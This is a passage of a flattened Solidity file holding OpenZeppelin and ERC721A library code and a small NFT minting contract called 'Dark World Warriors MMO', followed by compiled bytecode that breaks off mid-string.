string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: OmniBigCats.sol pragma solidity ^0.8.0; contract DarkWorldWarriorsMMO is ERC721A, Ownable, ReentrancyGuard { using Address for address; using Strings for uint; string public baseTokenURI = "ipfs://bafkreih4t4m2nm2hxenn5t3zyk5ewxgbv6wyukdtw6hetxfeiits44xndm"; uint256 public maxSupply = 888; uint256 public MAX_MINTS_PER_TX = 10; uint256 public PUBLIC_SALE_PRICE = 0.002 ether; uint256 public NUM_FREE_MINTS = 555; uint256 public MAX_FREE_PER_WALLET = 2; uint256 public freeNFTAlreadyMinted = 0; bool public isPublicSaleActive = true; constructor( ) ERC721A("Dark World Warriors MMO", "DARK") { } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function treasuryMint(uint quantity) public onlyOwner { require( quantity > 0, "Invalid mint amount" ); require( totalSupply() + quantity <= maxSupply, "Maximum supply exceeded" ); _safeMint(msg.sender, quantity); } function withdraw() public onlyOwner nonReentrant { Address.sendValue(payable(msg.sender), address(this).balance); } function tokenURI(uint _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseTokenURI, "/", _tokenId.toString(), ".json")); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { isPublicSaleActive = _isPublicSaleActive; } function setNumFreeMints(uint256 _numfreemints) external onlyOwner { NUM_FREE_MINTS = _numfreemints; } function setSalePrice(uint256 _price) external onlyOwner { PUBLIC_SALE_PRICE = _price; } function setMaxSupply(uint256 _maxSupply) public onlyOwner {maxSupply = _maxSupply;} function setMaxLimitPerTransaction(uint256 _limit) external onlyOwner { MAX_MINTS_PER_TX = _limit; } function setFreeLimitPerWallet(uint256 _limit) external onlyOwner { MAX_FREE_PER_WALLET = _limit; } function mint(uint256 numberOfTokens) external payable { require(isPublicSaleActive, "Public sale is not open"); if(freeNFTAlreadyMinted + numberOfTokens > NUM_FREE_MINTS){ require( (PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value, "Incorrect ETH value sent" ); } else { if (balanceOf(msg.sender) + numberOfTokens > MAX_FREE_PER_WALLET) { require( (PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value, "Incorrect ETH value sent" ); require( numberOfTokens <= MAX_MINTS_PER_TX, "Max mints per transaction exceeded" ); } else { require( numberOfTokens <= MAX_FREE_PER_WALLET, "Max mints per transaction exceeded" ); freeNFTAlreadyMinted += numberOfTokens; } } _safeMint(msg.sender, numberOfTokens); } }
0x6080604052600436106102045760003560e01c80636f8b44b011610118578063a22cb465116100a0578063d547cfb71161006f578063d547cfb71461071e578063d5abeb0114610749578063e985e9c514610774578063efdc7788146107b1578063f2fde38b146107da57610204565b8063a22cb46514610664578063b88d4fde1461068d578063c6a91b42146106b6578063c87b56dd146106e157610204565b806395d89b41116100e757806395d89b411461059e578063982d669e146105c957806398710d1e146105f45780639e9fcffc1461061f578063a0712d681461064857610204565b80636f8b44b0146104f657806370a082311461051f578063715018a61461055c5780638da5cb5b1461057357610204565b8063193ad7b41161019b57806328cad13d1161016a57806328cad13d146104275780633ccfd60b1461045057806342842e0e1461046757806355f804b3146104905780636352211e146104b957610204565b8063193ad7b41461037f5780631e84c413146103aa578063202f298a146103d557806323b872dd146103fe57610204565b8063095ea7b3116101d7578063095ea7b3146102d95780630a00ae831461030257806318160ddd1461032b5780631919fed71461035657610204565b806301ffc9a71461020957806306fdde031461024657806307e89ec014610271578063081812fc1461029c575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b9190612f60565b610803565b60405161023d919061341f565b60405180910390f35b34801561025257600080fd5b5061025b6108e5565b604051610268919061343a565b60405180910390f35b34801561027d57600080fd5b50610286610977565b60405161029391906135bc565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190613003565b61097d565b6040516102d091906133b8565b60405180910390f35b3480156102e557600080fd5b5061030060048036038101906102fb9190612ef3565b6109f9565b005b34801561030e57600080fd5b5061032960048036038101906103249190613003565b610b04565b005b34801561033757600080fd5b50610340610b8a565b60405161034d91906135bc565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190613003565b610ba1565b005b34801561038b57600080fd5b50610394610c27565b6040516103a191906135bc565b60405180910390f35b3480156103b657600080fd5b506103bf610c2d565b6040516103cc919061341f565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190613003565b610c40565b005b34801561040a57600080fd5b5061042560048036038101906104209190612ddd565b610cc6565b005b34801561043357600080fd5b5061044e60048036038101906104499190612f33565b610cd6565b005b34801561045c57600080fd5b50610465610d6f565b005b34801561047357600080fd5b5061048e60048036038101906104899190612ddd565b610e4d565b005b34801561049c57600080fd5b506104b760048036038101906104b29190612fba565b610e6d565b005b3480156104c557600080fd5b506104e060048036038101906104db9190613003565b610f03565b6040516104ed91906133b8565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613003565b610f19565b005b34801561052b57600080fd5b5061054660048036038101906105419190612d70565b610f9f565b60405161055391906135bc565b60405180910390f35b34801561056857600080fd5b5061057161106f565b005b34801561057f57600080fd5b506105886110f7565b60405161059591906133b8565b60405180910390f35b3480156105aa57600080fd5b506105b3611121565b6040516105c0919061343a565b60405180910390f35b3480156105d557600080fd5b506105de6111b3565b6040516105eb91906135bc565b60405180910390f35b34801561060057600080fd5b506106096111b9565b60405161061691906135bc565b60405180910390f35b34801561062b57600080fd5b5061064660048036038101906106419190613003565b6111bf565b005b610662600480360381019061065d9190613003565b611245565b005b34801561067057600080fd5b5061068b60048036038101906106869190612eb3565b611424565b005b34801561069957600080fd5b506106b460048036038101906106af9190612e30565b61159c565b005b3480156106c257600080fd5b506106cb611618565b6040516106d891906135bc565b60405180910390f35b3480156106ed57600080fd5b5061070860048036038101906107039190613003565b61161e565b604051610715919061343a565b60405180910390f35b34801561072a57600080fd5b5061073361169a565b604051610740919061343a565b60405180910390f35b34801561075557600080fd5b5061075e611728565b60405161076b91906135bc565b60405180910390f35b34801561078057600080fd5b5061079b60048036038101906107969190612d9d565b61172e565b6040516107a8919061341f565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190613003565b6117c2565b005b3480156107e657600080fd5b5061080160048036038101906107fc9190612d70565b6118e5565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108ce57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108de57506108dd826119dd565b5b9050919050565b6060600280546108f49061388c565b80601f01602080910402602001604051908101604052809291908181526020018280546109209061388c565b801561096d5780601f106109425761010080835404028352916020019161096d565b820191906000526020600020905b81548152906001019060200180831161095057829003601f168201915b5050505050905090565b600d5481565b600061098882611a47565b6109be576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a0482610f03565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a6c576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a8b611a95565b73ffffffffffffffffffffffffffffffffffffffff1614158015610abd5750610abb81610ab6611a95565b61172e565b155b15610af4576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610aff838383611a9d565b505050565b610b0c611a95565b73ffffffffffffffffffffffffffffffffffffffff16610b2a6110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906134fc565b60405180910390fd5b80600e8190555050565b60006